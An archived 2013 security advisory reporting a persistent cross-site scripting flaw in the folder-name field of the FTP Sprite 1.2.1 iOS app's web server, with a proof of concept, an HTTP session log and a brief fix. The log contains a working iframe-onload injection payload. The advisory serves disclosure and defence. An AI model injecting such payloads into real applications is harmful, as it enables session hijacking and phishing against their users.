Full Disclosure mailing list archives

FTP Sprite v1.2.1 iOS - Persistent Web Vulnerability


From: Vulnerability Lab <research () vulnerability-lab com>
Date: Tue, 16 Jul 2013 01:13:14 +0100

Title:
======
FTP Sprite v1.2.1 iOS - Persistent Web Vulnerability


Date:
=====
2013-07-12


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=1007


VL-ID:
=====
1007


Common Vulnerability Scoring System:
====================================
3.7


Introduction:
=============
FTP Sprite can turn your iPhone, ipad, ipod into ftp client, download files from ftp server and upload files into ftp 
server.

** FTP Action
** Add, modify, delete ftp server
** Download multiple files/folder Supported
** Upload multiple files/folder Supported
** Living progress
** View files online
** Create folder online
** Download and upload history
** Sorting by file name, create date and file size


** Local File Sharing
** USB File Sharing via iTunes
** Http File Sharing via WiFi,Support Safari, chrome, firefox and IE6/7/8/9
** Chrome and Firefox Supported upload multiple files
** Email multiple files/folder Supported
** Open files using other applications

** Local File Manage
** New Folder
** Sorting by file name, create date and file type
** View, copy, move, delete, rename, email, zip Compression and unzip files/folders
** Glide deleting function
** Select all and Cancel all
** Photo import Supported
** Bookmark supported

** File View
** New plain text(default encoding UTF-8),Convert plain file encoding (Unicode,UTF-8 etc) [.txt]
** External file content copy or paste
** Photo View, Zoom [.png .jpg .jpeg .gif .bmp .xbm .tif .tiff etc];
** Document reader [.pdf .rtf .csv .rtfd .doc .docx .xls .xlsx .ppt .pptx (office 2003 or later) etc]
** Video Player [.mp4]
** File Compression and Decompression [.zip .rar]
** Extract files from encryption .rar
** Multi-touch Supported, Zoom files
** Landscape mode supported
** iPad-compatible

(Copy of the Vendor Homepage: https://itunes.apple.com/de/app/ftp-sprite+/id480523641 )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the FTP Sprite 1.2.1 application 
(Apple iOS - iPad & iPhone).


Report-Timeline:
================
2013-07-12:    Public Disclosure (Vulnerability Laboratory)


Status:
========
Published


Affected Products:
==================
Apple AppStore
Product: FTP Sprite - Application 1.2.1


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
A persistent input validation web vulnerability is detected in the FTP Sprite 1.2.1 application (Apple iOS - iPad & 
iPhone).
The bug allows an attacker (remote) to implement/inject malicious script code on the application side (persistent) of 
the app.

The vulnerability is located in the index file dir listing module of the web-server (http://localhost:41495) when 
processing to 
display via POST request method injected manipulated `folder names`. The persistent script code will be executed in the 
main 
index file dir listing module when the service lists the new malicious injected foldername as item.

Exploitation of the persistent web vulnerability requires low or medium user interaction without application user 
account.
Successful exploitation of the vulnerability can lead to persistent session hijacking (customers), account steal via 
persistent 
web attacks, persistent phishing or stable (persistent) certificate mail notification context manipulation.

Vulnerable Application(s):
                                [+] FTP Sprite v1.2.1 - ITunes or AppStore (Apple)

Vulnerable Module(s):
                                [+] Add Folder

Vulnerable Parameter(s):
                                [+] foldername

Affected Module(s):
                                [+] Index Folder Listing


Proof of Concept:
=================
The persistent input validation web vulnerability can be exploited by remote attackers without privilege application 
user account and 
with low user interaction. For demonstration or reproduce ...

PoC: Add Folder - (Name)

<div class="ProgressBar" id="barDiv">
                <div id="bar"><span id="barSpan">0%</span></div>
            </div>

        </form>
    </div>

    <table id="tableContent" border="0" cellpadding="0" cellspacing="0">
        <thead>
            <tr><th><input id="selecteAll" onclick="selectAll(this)" type="checkbox"></th>
<th>Name</th><th>Size</th><th>Modified Date</th><th><img src="/download.png" 
style="border:0;vertical-align:middle;"></th> 
<th class="del">Delete</th></tr>
        </thead>
        <tbody id="filelist"><tr><td><input name="chxItem" value="[PERSISTENT INJECTED SCRIPT CODE!]" 
onclick="selChkItem(this)" 
type="checkbox"></td><td><a href="/http%3[PERSISTENT INJECTED SCRIPT CODE!]?guid=E798C174-F7C4-462D-AFC3-12ECC1A36E84&
amp;type=child" class="file"><span style="vertical-align:middle;"><img src="/Folder.png" 
style="border:0;vertical-align:middle;"></span>
<iframe src="http:</a"></td><td></td><td>2013-07-11 20:14:33</td><td></td><td><input name="commit" type="button" 
value="Delete" onclick="DelegateData('/%3Ciframe%20src%3Dhttp%3[PERSISTENT INJECTED SCRIPT 
CODE!]','E798C174-F7C4-462D-AFC3-12ECC1A36E84');" 
class='button' /></form></td></tr></tbody></table></iframe></a></td></tr>


--- Request Session Log ---

Status: 200[OK]

POST http://192.168.2.104:41495/?type=createdir&guid=EFB7891B-84ED-4C48-A404-95960BBB95D0 
Load Flags[LOAD_BYPASS_CACHE  LOAD_BACKGROUND  ] Content Size[506] Mime Type[text/plain]
   

Request Headers:
Host[192.168.2.104:41495]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
Accept[text/html, */*; q=0.01]

Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]

X-Requested-With[XMLHttpRequest]
      

Referer[http://192.168.2.104:41495/?guid=EFB7891B-84ED-4C48-A404-95960BBB95D0&type=
child&date=Thu%20Jul%2011%202013%2020:05:48%20GMT+0200&type=child&date=Thu%20Jul%2011%202013%2020:06:
26%20GMT+0200&type=child&date=Thu%20Jul%2011%202013%2020:07:33%20GMT+0200]
Content-Length[87]

Connection[keep-alive]

Pragma[no-cache]
Cache-Control[no-cache]

Post Data:
      item0[%3Ciframe%20src%3Dhttp%3A%2F%2Fwww.vuln-lab.com%20onload%3Dalert(%22BKM%22)%20%3C]

Response Headers:
      
Accept-Ranges[bytes]
      
Content-Length[506]
      
Content-Type[text/plain]
      
Date[Thu, 11 Jul 2013 18:14:33 GMT]


20:08:50.658[40ms][total 40ms] 
Status: 404[Not Found]
GET http://192.168.2.104:41495/%3C/a 
Load Flags[LOAD_DOCUMENT_URI  ]
Content Size[0] Mime Type[application/x-unknown-content-type]
   

Request Headers:
      
Host[192.168.2.104:41495]
      
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
      
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
      

Referer[http://192.168.2.104:41495/?guid=EFB7891B-84ED-4C48-A404-95960BBB95D0&type=child&date=Thu%20Jul%2011%202013%2020:05:
48%20GMT+0200&type=child&date=Thu%20Jul%2011%202013%2020:06:26%20GMT+0200&type=child&date=Thu%20Jul%2011%202013%2020:07:33%20GMT+0200]
Connection[keep-alive]
   

Response Headers:
Accept-Ranges[bytes]
Content-Length[0]
Date[Thu, 11 Jul 2013 18:14:34 GMT]


Solution:
=========
To fix the vulnerability parse the add folder name input field and restrict it but also cleanup the affected listing 
module with the output.


Risk:
=====
The security risk of the persistent input validation web vulnerability is estimated as high(-).


Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm () evolution-sec com)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all 
warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 
Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss 
of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such 
damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack 
into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com                             - 
www.vulnerability-lab.com/register
Contact:    admin () vulnerability-lab com      - support () vulnerability-lab com             - research () 
vulnerability-lab com
Section:    video.vulnerability-lab.com         - forum.vulnerability-lab.com                  - 
news.vulnerability-lab.com
Social:     twitter.com/#!/vuln_lab             - facebook.com/VulnerabilityLab                - 
youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - vulnerability-lab.com/rss/rss_upcoming.php   - 
vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability 
Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the 
use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, 
videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, 
list (feed), 
modify, use or edit our material contact (admin () vulnerability-lab com or support () vulnerability-lab com) to get a 
permission.

                                        Copyright © 2013 | Vulnerability Laboratory



-- 
VULNERABILITY LABORATORY RESEARCH TEAM
DOMAIN: www.vulnerability-lab.com
CONTACT: research () vulnerability-lab com


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Current thread: